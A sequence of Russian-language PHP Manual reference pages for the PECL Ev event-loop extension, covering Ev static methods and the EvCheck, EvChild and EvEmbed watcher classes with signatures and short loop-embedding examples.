Возвращает целое число, описывающее бэкенд, используемый libev. Смотрите Флаги бэкенда

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число(битовая маска), описывающее бэкенд, используемый libev.

Смотрите также

  • EvEmbed
  • Ev::embeddableBackends() - Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы
  • Ev::recommendedBackends() - Получить битовую маску рекомендованных бэкендов для данной платформы
  • Ev::supportedBackends() - Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev
  • Флаги бэкенда

User Contributed Notes

There are no user contributed notes for this page.


Получить глубину рекурсии

  • « Ev::backend
  • Ev::embeddableBackends »
  • PHP Manual
  • Ev
  • Получить глубину рекурсии

Ev::depth

(PECL ev >= 0.2.0)

Ev::depth — Получить глубину рекурсии

Описание

final public static Ev::depth(): int

Количество запусков Ev::run() минус количество нормальных выходов Ev::run(), другими словами, глубина рекурсии. Вне Ev::run() это число будет равно 0. В callback-функции оно будет равно 1, если Ev::run() не вызывалась рекурсивно (либо в другом потоке), в противном случае оно будет больше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

ev_depth() возвращает глубину рекурсии цикла по умолчанию.

Смотрите также

  • Ev::iteration() - Получить количество произведённых опросов цикла по умолчанию на предмет новых событий

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы

  • « Ev::depth
  • Ev::feedSignal »
  • PHP Manual
  • Ev
  • Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы

Ev::embeddableBackends

(PECL ev >= 0.2.0)

Ev::embeddableBackends — Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы

Описание

final public static Ev::embeddableBackends(): int

Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает битовую маску, содержащую флаги бэкенда, объединённые с помощью побитового ИЛИ.

Примеры

Пример #1 Цикл создаётся с использованием kqueue и встраивается в цикл по умолчанию

<?php
/*
* Проверяем, что kqueue доступен, но не рекомендован и создаём kqueue бэкенд
* с использованием сокетов (которые обычно работают с любой реализацией kqueue).
* Сохраняем событийный цикл kqueue/socket-only в loop_socket. (Можем, опционально
* использовать флаг EVFLAG_NOENV)
*
* Пример взят с сайта
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// Теперь используем $socket_loop для всех сокетов и $loop всего остального
?>

Смотрите также

  • EvEmbed
  • Ev::recommendedBackends() - Получить битовую маску рекомендованных бэкендов для данной платформы
  • Ev::supportedBackends() - Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev
  • Флаги бэкенда
  • Примеры

User Contributed Notes

There are no user contributed notes for this page.


Передаём событие сигнала в Ev

  • « Ev::embeddableBackends
  • Ev::feedSignalEvent »
  • PHP Manual
  • Ev
  • Передаём событие сигнала в Ev

Ev::feedSignal

(PECL ev >= 0.2.0)

Ev::feedSignal — Передаём событие сигнала в Ev

Описание

final public static Ev::feedSignal( int $signum ): void

Симуляция приёма сигнала. Эту функцию можно безопасно вызывать в любое время, из любого контекста, включая обработчики сигналов или случайные потоки выполнения. Основное назначение - настройка обработки сигналов во время исполнения.

В отличие от Ev::feedSignalEvent(), этот метод работает независимо от того, какой цикл зарегистрировал сигнал.

Список параметров

signum

Номер сигнала. Смотрите страницу man signal(7). Вы можете использовать константы, экспортированные из модуля pcntl.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::feedSignalEvent() - Послать событие сигнала в цикл по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Послать событие сигнала в цикл по умолчанию

  • « Ev::feedSignal
  • Ev::iteration »
  • PHP Manual
  • Ev
  • Послать событие сигнала в цикл по умолчанию

Ev::feedSignalEvent

(Информация о версии неизвестна, возможно, только в Git)

Ev::feedSignalEvent — Послать событие сигнала в цикл по умолчанию

Описание

final public static Ev::feedSignalEvent( int $signum ): void

Послать событие сигнала в цикл по умолчанию. Ev среагирует также, как будто был получен указанный сигнал signal.

Список параметров

signum

Номер сигнала. Смотрите страницу man signal(7). Вы можете использовать константы, экспортированные из модуля pcntl.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::feedSignal() - Передаём событие сигнала в Ev

User Contributed Notes

There are no user contributed notes for this page.


Получить количество произведённых опросов цикла по умолчанию на предмет новых событий

  • « Ev::feedSignalEvent
  • Ev::now »
  • PHP Manual
  • Ev
  • Получить количество произведённых опросов цикла по умолчанию на предмет новых событий

Ev::iteration

(PECL ev >= 0.2.0)

Ev::iteration — Получить количество произведённых опросов цикла по умолчанию на предмет новых событий

Описание

final public static Ev::iteration(): int

Возвращает количество произведённых опросов цикла по умолчанию на предмет новых событий. Иногда полезно в качестве счётчика генераций.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Получить количество произведённых опросов цикла по умолчанию.

Смотрите также

  • Ev::depth() - Получить глубину рекурсии

User Contributed Notes

There are no user contributed notes for this page.


Получить время запуска последней итерации цикла по умолчанию

  • « Ev::iteration
  • Ev::nowUpdate »
  • PHP Manual
  • Ev
  • Получить время запуска последней итерации цикла по умолчанию

Ev::now

(PECL ev >= 0.2.0)

Ev::now — Получить время запуска последней итерации цикла по умолчанию

Описание

final public static Ev::now(): float

Возвращает время запуска последней итерации цикла по умолчанию. Это время, на котором базируются таймеры ( EvTimer и EvPeriodic) и, обычно, обращение к этой функции происходит быстрее, чем вызов Ev::time().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество секунд(фракций), представляющее время, когда была запущена последняя итерация цикла по умолчанию.

Смотрите также

  • Ev::nowUpdate() - Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now

  • « Ev::now
  • Ev::recommendedBackends »
  • PHP Manual
  • Ev
  • Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now

Ev::nowUpdate

(PECL ev >= 0.2.0)

Ev::nowUpdate — Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now

Описание

final public static Ev::nowUpdate(): void

Устанавливает текущее время путём запроса к ядру в процессе обновляя время, возвращаемое Ev::now(). Это дорогая операция и обычно выполняется автоматически внутри Ev::run().

Этот метод редко когда полезен, но когда некоторые callback-функции работают очень долго без обращения к циклу по умолчанию, обновление текущего времени в libev является неплохой идеей.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::now() - Получить время запуска последней итерации цикла по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Получить битовую маску рекомендованных бэкендов для данной платформы

  • « Ev::nowUpdate
  • Ev::resume »
  • PHP Manual
  • Ev
  • Получить битовую маску рекомендованных бэкендов для данной платформы

Ev::recommendedBackends

(PECL ev >= 0.2.0)

Ev::recommendedBackends — Получить битовую маску рекомендованных бэкендов для данной платформы

Описание

final public static Ev::recommendedBackends(): int

Возвращает набор всех бэкендов, встроенных в используемую libev и, также, рекомендованных для данной платформы, в том смысле, что они будут работать с большинством типов дескрипторов файлов. Обычно этот список меньше, чем возвращаемый ev_supported_backends(). К примеру, kqueue не работает на большинстве систем BSD и не будет автоопределён, если только вы принудительно его не запросите. Это набор бэкендов которые будет опрашивать libev, если бэкенд не задан в явном виде.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает битовую маску, содержащую флаги бэкенда, объединённые с помощью побитового ИЛИ.

Примеры

Пример #1 Встраивание одного цикла в другой

<?php
/*
* Попытаемся получить встраиваемый событийный цикл и встроить его в
* событийный цикл по умолчанию.
* Если это невозможно - используем цикл по умолчанию.
* Цикл по умолчанию хранится в $loop_hi, а встраиваемый в $loop_lo
* (который равен $loop_hi в случае, если нельзя использовать встраиваемый цикл).
*
* Пример взят с сайта
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed = NULL;

/*
* Смотрим, есть ли хотя бы один подходящий бэкенд
* (флаг 0 означает автоопределение)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
: 0;

if ($loop_lo) {
$embed = new EvEmbed($loop_lo, function () {});
} else {
$loop_lo = $loop_hi;
}
?>

Смотрите также

  • EvEmbed
  • Ev::embeddableBackends() - Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы
  • Ev::supportedBackends() - Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev
  • Флаги бэкенда
  • Примеры

User Contributed Notes

There are no user contributed notes for this page.


Возобновить выполнение приостановленного ранее событийного цикла по умолчанию

  • « Ev::recommendedBackends
  • Ev::run »
  • PHP Manual
  • Ev
  • Возобновить выполнение приостановленного ранее событийного цикла по умолчанию

Ev::resume

(PECL ev >= 0.2.0)

Ev::resume — Возобновить выполнение приостановленного ранее событийного цикла по умолчанию

Описание

final public static Ev::resume(): void

Методы Ev::suspend() и Ev::resume(), соответственно приостанавливают и возобновляют работу событийного цикла.

Все наблюдатели таймеры будут задержаны на время прошедшее между suspend и resume, и все наблюдатели типа periodic будут перепланированы watchers will be rescheduled(то есть будут потеряны все события, которые произошли во время приостановки).

После вызова Ev::suspend() запрещено вызывать любые функции цикла кроме Ev::resume(). Также запрещается вызывать Ev::resume() если ранее не вызывался Ev::suspend().

Вызов suspend / resume имеют побочные эффекты для обновления времени событийного цикла (смотри Ev::nowUpdate()).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::suspend() - Приостановить событийный цикл по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Начать проверку наличия событий и вызов callback-функций цикла по умолчанию

  • « Ev::resume
  • Ev::sleep »
  • PHP Manual
  • Ev
  • Начать проверку наличия событий и вызов callback-функций цикла по умолчанию

Ev::run

(PECL ev >= 0.2.0)

Ev::run — Начать проверку наличия событий и вызов callback-функций цикла по умолчанию

Описание

final public static Ev::run( int $flags = ?): void

Начать проверку наличия событий и вызов callback-функций цикла по умолчанию. Возвращает управление, когда callback-функция вызвала метод Ev::stop() или если флаги не равны нулю (в этом случае возвращаемое значение будет true) или если отсутствуют активные наблюдатели ссылающиеся на цикл (EvWatcher::keepalive() равен true), в этом случае будет возвращено false. Возвращаемое значение можно интерпретировать таким образом - если true, то есть ещё над чем поработать.

Список параметров

flags

Опциональный параметр flags может принимать следующие значения:

Список возможных значений flags
flags | Описание
0 | Поведение по умолчанию, описанное выше
Ev::RUN_ONCE | Блокировать не более одного (ждать, но не зацикливаться)
Ev::RUN_NOWAIT | Не блокировать (забирать/обрабатывать события, но не ждать)

Смотри Константы флагов запуска.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::stop() - Остановить событийный цикл по умолчанию
  • EvLoop::run() - Проверяет события и вызывает callback-функции в цикле

User Contributed Notes

There are no user contributed notes for this page.


Блокировать процесс заданное количество секунд

  • « Ev::run
  • Ev::stop »
  • PHP Manual
  • Ev
  • Блокировать процесс заданное количество секунд

Ev::sleep

(PECL ev >= 0.2.0)

Ev::sleep — Блокировать процесс заданное количество секунд

Описание

final public static Ev::sleep( float $seconds ): void

Блокировать процесс заданное количество секунд

Список параметров

seconds

Дробное количество секунд

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Остановить событийный цикл по умолчанию

  • « Ev::sleep
  • Ev::supportedBackends »
  • PHP Manual
  • Ev
  • Остановить событийный цикл по умолчанию

Ev::stop

(PECL ev >= 0.2.0)

Ev::stop — Остановить событийный цикл по умолчанию

Описание

final public static Ev::stop( int $how = ?): void

Остановить событийный цикл по умолчанию.

Список параметров

how

Одна из Ev::BREAK_* констант .

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::run() - Начать проверку наличия событий и вызов callback-функций цикла по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev

  • « Ev::stop
  • Ev::suspend »
  • PHP Manual
  • Ev
  • Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev

Ev::supportedBackends

(PECL ev >= 0.2.0)

Ev::supportedBackends — Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev

Описание

final public static Ev::supportedBackends(): int

Возвращает набор бэкендов, поддерживаемых текущей конфигурацией libev.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает битовую маску, содержащую флаги бэкенда, объединённые с помощью побитового ИЛИ.

Примеры

Пример #1 Цикл создаётся с использованием kqueue и встраивается в цикл по умолчанию

<?php
/*
* Проверяем, что kqueue доступен, но не рекомендован и создаём kqueue бэкенд
* с использованием сокетов (которые обычно работают с любой реализацией kqueue).
* Сохраняем событийный цикл kqueue/socket-only в loop_socket. (Можем, опционально
* использовать флаг EVFLAG_NOENV)
*
* Пример взят с сайта
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// Теперь используем $socket_loop для всех сокетов и $loop всего остального
?>

Смотрите также

  • EvEmbed
  • Ev::recommendedBackends() - Получить битовую маску рекомендованных бэкендов для данной платформы
  • Ev::embeddableBackends() - Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы
  • Backend flags
  • Examples

User Contributed Notes

There are no user contributed notes for this page.


Приостановить событийный цикл по умолчанию

  • « Ev::supportedBackends
  • Ev::time »
  • PHP Manual
  • Ev
  • Приостановить событийный цикл по умолчанию

Ev::suspend

(PECL ev >= 0.2.0)

Ev::suspend — Приостановить событийный цикл по умолчанию

Описание

final public static Ev::suspend(): void

Методы Ev::suspend() и Ev::resume(), соответственно приостанавливают и возобновляют работу событийного цикла.

Все наблюдатели таймеры будут задержаны на время прошедшее между suspend и resume, и все наблюдатели типа periodic будут перепланированы (то есть будут потеряны все события, которые произошли во время приостановки).

После вызова Ev::suspend() запрещено вызывать любые функции цикла кроме Ev::resume(). Также запрещается вызывать Ev::resume(), если ранее не вызывался Ev::suspend().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • Ev::resume() - Возобновить выполнение приостановленного ранее событийного цикла по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix

  • « Ev::suspend
  • Ev::verify »
  • PHP Manual
  • Ev
  • Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix

Ev::time

(PECL ev >= 0.2.0)

Ev::time — Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix

Описание

final public static Ev::time(): float

Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix. Но лучше, всё же, используйте Ev::now().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущее время в секундах(дробное число) прошедшее с начала эпохи Unix.

Смотрите также

  • Ev::now() - Получить время запуска последней итерации цикла по умолчанию

User Contributed Notes

There are no user contributed notes for this page.


Производит внутреннюю проверку целостности(для отладки)

  • « Ev::time
  • EvCheck »
  • PHP Manual
  • Ev
  • Производит внутреннюю проверку целостности(для отладки)

Ev::verify

(PECL ev >= 0.2.0)

Ev::verify — Производит внутреннюю проверку целостности(для отладки)

Описание

final public static Ev::verify(): void

Производит внутреннюю проверку целостности(для отладки libev) и прекращает выполнение программы, если обнаружены ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс EvCheck

(PECL ev >= 0.2.0)

Введение

Наблюдатели EvPrepare и EvCheck обычно используются в паре. Наблюдатель EvPrepare вызывается до блокировки процесса, затем вызывается EvCheck

Не разрешается вызывать EvLoop::run() или аналогичные методы или функции, введённые в текущий цикл событий другими наблюдателями EvPrepare или EvCheck. Однако другие циклы событий, не текущий, могут. Смысл в том, что текущему не нужно проверять рекурсию в таких наблюдателях, т.е. всегда будет последовательность: EvPrepare -> блокировка -> EvCheck, так что наблюдателя каждого вида всегда будут вызывать в парах, захватывая блокирующий вызов.

Основная цель заключается в интеграции других событийных механизмов в libev и улучшенное их использование. Они могут быть использованы, например, при отслеживании изменении переменных, при реализации пользовательских наблюдателей, при интегрировании NET-SNMP или сопрограмм библиотеки и многое другое. Они также иногда полезны при кешировании данных и при очистке данных до блокировки.

Рекомендуется устанавливать наблюдателям EvCheck наивысший приоритет (Ev::MAXPRI), чтобы обеспечить возможность их запуска раньше любых других наблюдателей после опроса (это не имеет значения для наблюдателей EvPrepare).

Кроме того, наблюдатели EvCheck не смогут активировать/подавать события. Пока libev полностью поддерживает все это, они могут выполняться раньше, чем другие наблюдатели EvCheck выполнят свою работу.

Обзор классов

class EvCheck extends EvWatcher {
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct( callable $callback , mixed $data = ?, int $priority = ?)
final public static createStopped( string $callback , string $data = ?, string $priority = ?): object
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Содержание

  • EvCheck::__construct — Конструктор объекта EvCheck
  • EvCheck::createStopped — Создаёт остановленный экземпляр наблюдателя EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта EvCheck

  • « EvCheck
  • EvCheck::createStopped »
  • PHP Manual
  • EvCheck
  • Конструктор объекта EvCheck

EvCheck::__construct

(PECL ev >= 0.2.0)

EvCheck::__construct — Конструктор объекта EvCheck

Описание

public EvCheck::__construct( callable $callback , mixed $data = ?, int $priority = ?)

Создаёт наблюдатель EvCheck.

Список параметров

callback

Смотрите Callback-функции наблюдателя .

data

Данные, ассоциированные с наблюдателем.

priority

приоритет наблюдателя

Смотрите также

  • EvPrepare
  • EvLoop::check() - Создаёт объект EvCheck, связанный с текущим экземпляром цикла событий

User Contributed Notes

There are no user contributed notes for this page.


Создаёт остановленный экземпляр наблюдателя EvCheck

  • « EvCheck::__construct
  • EvChild »
  • PHP Manual
  • EvCheck
  • Создаёт остановленный экземпляр наблюдателя EvCheck

EvCheck::createStopped

(PECL ev >= 0.2.0)

EvCheck::createStopped — Создаёт остановленный экземпляр наблюдателя EvCheck

Описание

final public static EvCheck::createStopped( string $callback , string $data = ?, string $priority = ?): object

Создаёт остановленный экземпляр наблюдателя EvCheck.

Список параметров

callback

Смотрите Callback-функции наблюдателя .

data

Данные, ассоциированные с наблюдателем.

priority

приоритет наблюдателя

Возвращаемые значения

В случае успешного выполнения возвращает объект EvCheck.

Смотрите также

  • EvPrepare

User Contributed Notes

There are no user contributed notes for this page.


Класс EvChild

(PECL ev >= 0.2.0)

Введение

Наблюдатель EvChild вызывается тогда, когда процесс получает сигнал SIGCHLD в ответ на некоторые изменения статуса дочернего элемента (обычно когда дочерний процесс завершает свою работу или выходит из него). Разрешается устанавливать наблюдатель EvChild после того, как дочерний поток был ответвлён (что подразумевает, что он должен был уже завершиться), пока не началась итерация цикла событий (или продолжается из наблюдателя), т.е. ветвление и затем немедленная регистрация наблюдателя для дочернего элемента является хорошей практикой, а ветвление и регистрация наблюдателя после нескольких итераций цикла событий или при следующем запуске callback-функции - нет.

Наблюдателей EvChild разрешается регистрировать только в цикле по умолчанию.

Обзор классов

class EvChild extends EvWatcher {
/* Свойства */
public $pid;
public $rpid;
public $rstatus;
/* Наследуемые свойства */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* Методы */
public __construct(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
final public static createStopped(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = ?,
int $priority = ?
): object
public set( int $pid , bool $trace ): void
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Свойства

pid

Только чтение. Идентификатор процесса, который следит, либо 0, что означает любой идентификатор процесса.

rpid

Только чтение. Идентификатор процесса, который следит за изменением статуса.

rstatus

Только чтение. Статус завершения процесса, вызванный rpid.

Содержание

  • EvChild::__construct — Создаёт объект наблюдатель EvChild
  • EvChild::createStopped — Создаёт остановленный экземпляр наблюдателя EvCheck
  • EvChild::set — Конфигурирование наблюдателя

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект наблюдатель EvChild

  • « EvChild
  • EvChild::createStopped »
  • PHP Manual
  • EvChild
  • Создаёт объект наблюдатель EvChild

EvChild::__construct

(PECL ev >= 0.2.0)

EvChild::__construct — Создаёт объект наблюдатель EvChild

Описание

public EvChild::__construct(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Создаёт объект наблюдатель EvChild.

Вызывает callback-функцию, когда пришло событие изменения статуса процесса с идентификатором pid (или любым PID, если pid задан как 0 ). Статус процесса изменяется, когда процесс завершается, либо когда его убивают, либо, если trace равно true, когда он остановлен или возобновлён. Другими словами, когда процесс получает сигнал SIGCHLD , Ev извлекает статус exit/wait для всех изменённых/зомби дочерних процессов и вызывает callback-функцию.

Правильно устанавливать дочернего наблюдателя после того, как EvChild завершился, но до запуска следующей итерации событийного цикла. К примеру, сначала вызывается fork, после чего новый дочерний процесс может выйти, и только после этого в родителе устанавливается наблюдатель EvChild для нового PID .

Вы можете получить доступ к статусам exit/tracing и pid используя свойства объекта наблюдателя rstatus и rpid.

Количество PID-наблюдателей для каждого PID не ограничено. Все они будут вызваны.

Метод EvChild::createStopped() не стартует(не активирует) созданного наблюдателя.

Список параметров

pid

Ожидает изменения статуса процесса с идентификатором PID (или любого процесса, если PID задан как 0 ).

trace

Если false, то активация наблюдателя происходит только при завершении процесса. Если true, то активация происходит также при остановке/возобновлении процесса.

callback

Смотрите Callback-функции наблюдателей.

data

Произвольные данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Смотрите также

  • EvLoop::child() - Создаёт объект EvChild, связанный с текущим циклом событий

User Contributed Notes

There are no user contributed notes for this page.


Создаёт остановленный экземпляр наблюдателя EvCheck

  • « EvChild::__construct
  • EvChild::set »
  • PHP Manual
  • EvChild
  • Создаёт остановленный экземпляр наблюдателя EvCheck

EvChild::createStopped

(PECL ev >= 0.2.0)

EvChild::createStopped — Создаёт остановленный экземпляр наблюдателя EvCheck

Описание

final public static EvChild::createStopped(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = ?,
int $priority = ?
): object

То же самое, что и EvChild::__construct() , но не происходит автоматического запуска наблюдателя.

Список параметров

pid

Смотрите EvChild::__construct()

trace

Смотрите EvChild::__construct()

callback

Смотрите Callback-функции наблюдателей .

data

Произвольные данные, связанные с наблюдателем.

priority

Приоритет наблюдателя

Возвращаемые значения

Смотрите также

  • EvChild::__construct() - Создаёт объект наблюдатель EvChild
  • EvLoop::child() - Создаёт объект EvChild, связанный с текущим циклом событий

User Contributed Notes

There are no user contributed notes for this page.


Конфигурирование наблюдателя

  • « EvChild::createStopped
  • EvEmbed »
  • PHP Manual
  • EvChild
  • Конфигурирование наблюдателя

EvChild::set

(PECL ev >= 0.2.0)

EvChild::set — Конфигурирование наблюдателя

Описание

public EvChild::set( int $pid , bool $trace ): void

Список параметров

pid

Смотрите EvChild::__construct()

trace

Смотрите EvChild::__construct()

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvChild::__construct() - Создаёт объект наблюдатель EvChild

User Contributed Notes

There are no user contributed notes for this page.


Класс EvEmbed

(PECL ev >= 0.2.0)

Введение

Используется для вставки одного цикла событий в другой.

Обзор классов

class EvEmbed extends EvWatcher {
/* Свойства */
public $embed;
/* Методы */
public __construct(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
)
final public static createStopped(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
): void
public set( object $other ): void
public sweep(): void
/* Наследуемые методы */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Свойства

is_active

data

is_pending

priority

embed

Содержание

  • EvEmbed::__construct — Конструктор объекта EvEmbed
  • EvEmbed::createStopped — Создаёт остановленный объект наблюдатель EvEmbed
  • EvEmbed::set — Настройка наблюдателя
  • EvEmbed::sweep — Делает одиночную, неблокирующую развёртку по встроенному циклу

User Contributed Notes

There are no user contributed notes for this page.


Конструктор объекта EvEmbed

  • « EvEmbed
  • EvEmbed::createStopped »
  • PHP Manual
  • EvEmbed
  • Конструктор объекта EvEmbed

EvEmbed::__construct

(PECL ev >= 0.2.0)

EvEmbed::__construct — Конструктор объекта EvEmbed

Описание

public EvEmbed::__construct(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
)

Это довольно продвинутый тип наблюдателя, который позволяет встроить один цикл событий в другой (в настоящее время поддерживаются только события ввода-вывода во встроенном цикле, другие типы наблюдателей могут обрабатываться с задержкой или неверно и не должны использоваться).

Более подробно читайте в » документации libev.

Этот наблюдатель наиболее полезен в BSD системах без работающего kqueue для поддержки обработки большого количества сокетов. Смотрите пример ниже.

Список параметров

other

Экземпляр класса EvLoop. Событийный цикл для встраивания. Этот цикл должен быть встраиваемым (смотрите Ev::embeddableBackends() ).

callback

Смотрите callback-функции наблюдателей .

data

Пользовательские данные, ассоциированные с наблюдателем.

priority

Приоритет наблюдателя

Примеры

Пример #1 Встраивание цикла, созданного с помощью kqueue в событийный цикл по умолчанию

<?php
/*
* Проверьте, доступен ли kqueue и создайте бэкенд kqueue
* для использования с сокетами (это обычно работает с любой реализацией kqueue).
* Сохраните событийный цикл kqueue/socket-only в loop_socket. (Опционально можно
* использовать флаг EVFLAG_NOENV)
*
* пример взят из
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// теперь используйте $socket_loop для всех сокетов, а $loop для всего остального
?>

Смотрите также

  • Ev::embeddableBackends() - Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы

User Contributed Notes

There are no user contributed notes for this page.


Создаёт остановленный объект наблюдатель EvEmbed

  • « EvEmbed::__construct
  • EvEmbed::set »
  • PHP Manual
  • EvEmbed
  • Создаёт остановленный объект наблюдатель EvEmbed

EvEmbed::createStopped

(PECL ev >= 0.2.0)

EvEmbed::createStopped — Создаёт остановленный объект наблюдатель EvEmbed

Описание

final public static EvEmbed::createStopped(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
): void

То же самое, что и EvEmbed::__construct() , но наблюдатель не будет автоматически запущен.

Список параметров

other

То же, что и для EvEmbed::__construct()

callback

Смотрите callback-функции наблюдателей .

data

Пользовательские данные, ассоциированные с наблюдателем.

priority

Приоритет наблюдателя

Возвращаемые значения

В случае успешного выполнения возвращает остановленный наблюдатель EvEmbed.

Смотрите также

  • EvEmbed::__construct() - Конструктор объекта EvEmbed
  • Ev::embeddableBackends() - Возвращает набор бэкендов, которые можно встроить в прочие событийные циклы

User Contributed Notes

There are no user contributed notes for this page.


Настройка наблюдателя

  • « EvEmbed::createStopped
  • EvEmbed::sweep »
  • PHP Manual
  • EvEmbed
  • Настройка наблюдателя

EvEmbed::set

(PECL ev >= 0.2.0)

EvEmbed::set — Настройка наблюдателя

Описание

public EvEmbed::set( object $other ): void

Конфигурирует наблюдателя для использования событийного цикла other.

Список параметров

other

Смотрите EvEmbed::__construct()

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Делает одиночную, неблокирующую развёртку по встроенному циклу

  • « EvEmbed::set
  • EvFork »
  • PHP Manual
  • EvEmbed
  • Делает одиночную, неблокирующую развёртку по встроенному циклу

EvEmbed::sweep

(PECL ev >= 0.2.0)

EvEmbed::sweep — Делает одиночную, неблокирующую развёртку по встроенному циклу

Описание

public EvEmbed::sweep(): void

Делает одиночную, неблокирующую развёртку по встроенному циклу. Работает аналогично следующему коду, но является более предпочтительным в случае встроенных циклов:

<?php
$other->start(Ev::RUN_NOWAIT);
?>

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • EvWatcher::start() - Запускает наблюдателя

User Contributed Notes

